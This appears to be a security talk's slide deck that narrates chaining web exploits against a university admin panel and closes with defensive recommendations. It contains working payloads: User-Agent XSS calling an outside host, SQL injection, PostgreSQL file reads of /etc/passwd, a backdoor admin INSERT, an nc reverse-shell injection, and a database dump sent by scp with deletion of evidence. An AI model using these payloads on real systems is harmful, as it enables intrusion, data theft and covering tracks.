text: Chaining Web Exploits: Pwning the kingdom - Speaker Deck
  Chaining Web Exploits: Pwning the kingdom
  It doesn't take one exploit to hack the kingdom. This is a true story about finding multiple different web exploits and chaining them together to compromise an application and discussing the importance of actively monitoring for vulnerabilities and the downsides of letting them going unpatched.
  Chaining Web Exploits Pwning the Kingdom
  whoami • Cyber Security Analyst • Previously: Systems Administrator, Senior
  Software Engineer On the web: https://smashes.net/
  Agenda • A story about how 30 universities across North
  America could've been hacked by chaining exploits together • What could've been done to prevent it
  Knock Knock The server told me that it's running Apache
  2 on Debian and it's a PHP based application.
  Who's there? It's me, your friendly neighborhood scanner. I don't
  suppose you have an admin panel do you?
  Thank you, Server! The goal is to make it into
  the admin panel… - What does the admin panel look like? - Is it old, buggy and slow? - Are there vulnerabilities on the inside? The login page looks promising
  Is an XSS via the User-Agent possible? curl 'https://target.example.com/Admin?' -I
  -k --user-agent '<script src="//ohnonono.xss.ht/"></script>'
  It's an XSS via the User-Agent! Surprise! An XSS and
  the structure of the admin panel, it includes: - A potentially hijackable session_id cookie before it expires - URL addresses for all the admin pages
  XSS Admin Screenshot • The Admin Panel (File Manager, Course
  Planning, Emails and more) • More than a shop? mike@smashes.net
  Scan the LAN With successful cross-site scripting: - Deploy javascript-based
  LAN network scanner - Post results to control server Yields: - Internal host discovery - Network mapping of online hosts - Vulnerable hosts on the network
  Session Hijacking We have a session id, can this be
  exploited? When looking at the login admin page, there is a sess_id parameter that looks like a standard PHP session id. I don't suppose it'll let me set any random ID, would it? Let's try sending a session id and see what happens.
  Session Hijacking Results - Sent a sess_id - Server gave
  us the admin session to the backend and expiry time Is there another way in? 1
  Another Way In An initial scan found multiple files in
  the /include/ that offer an authentication prompt. Is the login interface vulnerable to SQL injection? Crafted an SQL injection within the username and password fields, let's see what happens. Payload: ' OR ''='
  How about Blind SQL Injection? Difference between blind SQL injection
  and SQL injection Is it vulnerable to blind SQL injection in the HTTP Basic Authentication? Trying to force a server error
  YES This error may indicate the field is not sanitized
  Is it possible to get a local file inclusion (LFI) or remote command execution (RCE) from the SQL Injection?
  LOCAL FILE INCLUSION WITH POSTGRESQL PostgreSQL can do basic file
  inclusion functions with default configuration, such as:
  LOCAL FILE INCLUSION WITH POSTGRESQL COPY hacks(description) FROM '/etc/passwd'; COPY
  hacks(description) FROM '/etc/apache2/sites-enabled/000-default.conf'; SELECT description FROM hacks; (This will dump the information gathered to the screen)
  EXPORT FILES TO FRONTEND WITH POSTGRESQL I could also export
  the data to another table in the frontend and render it to the user.
  the data to another table in the frontend and render it to the browser. COPY frontpage(content) FROM '/etc/passwd'; curl -vs https://university.example.com/ 2>&1 | grep 'root\:' -C 80 > etc_passwd_contents
  EXPORT FILES TO FRONTEND WITH POSTGRESQL
  CREATING ADMIN BACKDOOR From the initial scan of the backend
  via both the session hijack & SQL injection, we have: - Database field names - Good idea of how the authentication works
  CREATE USER bobby; '; INSERT INTO users(usercode,username,password,access_level,email) VALUES('BOBBY', 'bobby', 'boby123',
  'ADMIN', 'bobby@droptables.com'); --
  Executed the SQL payload, is Bobby an admin?
  Hello Bobby The backdoor admin account allows: • View order
  info • Email and session logs • Staff information • Modify website contents
  Chaining the exploits together Chain with javascript: - Write exploits
  to be automated - Utilize user-agent xss with new payload - Change usernames and passwords for impersonation - Spoof the legitimate administrator
  Diving Deeper - Session Management Looking at Session Management system:
  • Upon loading the page, hit with original XSS payload • Allows admins to watch users sessions in almost real-time • Can view any input the user submitted into the page, including PII (except passwords) One of the administrators must of been reviewing the session logs when the XSS fired!
  - Upon loading the page, hit with original XSS payload One of the administrators must of been reviewing the session logs!
  Diving Deeper - Order Management Admin panel has: - Ability
  to view basic order details - Name of the person - Email - Order number - Amount paid - Allow the administrator to issue a refund directly online. Just thinking...
  Would you like a refund? This UI allows you to
  enter any amount in the refund field. $995 sounds reasonable.
  Remote Command Execution If writing configuration information to disk, at
  least attempt to filter it. Payload: "; exec('nc {ip} {port} -e /bin/bash'); // Saved, the page refreshed and… Of course there's many other things you can do from this Listening on [0.0.0.0] (family 0, port 1123) Connection from {removed} 53704 received! whoami www-data
  Where are we now? Not only do we have: •
  a full administrator account • SQL injection at our fingertips • full blown shell on the server as the www-data user. • can elevate to root on servers due to vulnerable kernel • can access distribution server and backdoor product releases • can backdoor the client to execute malicious code on update
  Put a Message Up Make some noise on the web
  to prove we have write access… echo "<html>[....]<body>rce 2019-03-01</body></html>" > ./admin/ms9582512.html
  Dumping the Database We have: - RCE - Access to
  the database credentials hardcoded in config files We should be able to dump the database -- right? Let's try.
  Dump the Database & Remove Evidence Syntax will vary per
  database type, here's how it works with postgres: pg_dump [...] | gzip -c > ~/dbdump.sql.gz && scp ~/dbdump.sql.gz $OUTBOUND@$HOST:./dbdump.sql.gz && rm -f ~/dbdump.sql.gz
  Recap • Got copy of database • Got password hashes
  (bcrypt/md5) • User information and order details • Setup an admin backdoor • Deleted evidence we were in the system In total, chained 5 exploits to go from unauthenticated user to full shell as the www-data user. Now, the final payload
  1. Proactive Monitoring All the attacks demonstrated today can be
  found with a simple Google search. There are many free automated tools available to do this with. Anyone can do this… There was no active monitoring or alerting. Without the proper systems in place, the likelihood of catching this is slim to none.
  2. Drop the Sessions! Many systems still allow users to
  inject session ids, this is bad practice and should be removed. There is no legitimate reason to inject a session id in most cases.
  3. Regular Audits All companies and organization need regular security
  audits, not just black- boxed PCI compliance audits.
  audits, not just black- boxed PCI compliance audits. Developers need to test their own code and their peers code, just inject anything from the OWASP top-10 or cheatsheets to start.
  4. Not /Admin Don't make your admin panel public to
  the world. Whitelist access by IP address to trusted origins only (eg, internal user ranges only). Don't let search engines index your Admin login page.
  5. Proper Access Control Any user with access to the
  administration panel should only see what their role defines, not the entire admin panel. Most organizations don't implement proper access control, or leave old accounts with privileged access laying around.
  6. Two-Factor Authentication The target systems demonstrated today had two-factor
  authentication enabled. The session_id bypass and SQL injection allowed me to bypass the two-factor authentication requirements, and I could disable it for any other user. Always force re-validation if the browser, IP or country changes.
  7. Vendor Compliance Often times, your system may be relatively
  secure, but a vendor you rely on has lapsed on their security. Make sure your vendors undergo regular security audits -- PCI compliance doesn't mean they're secure.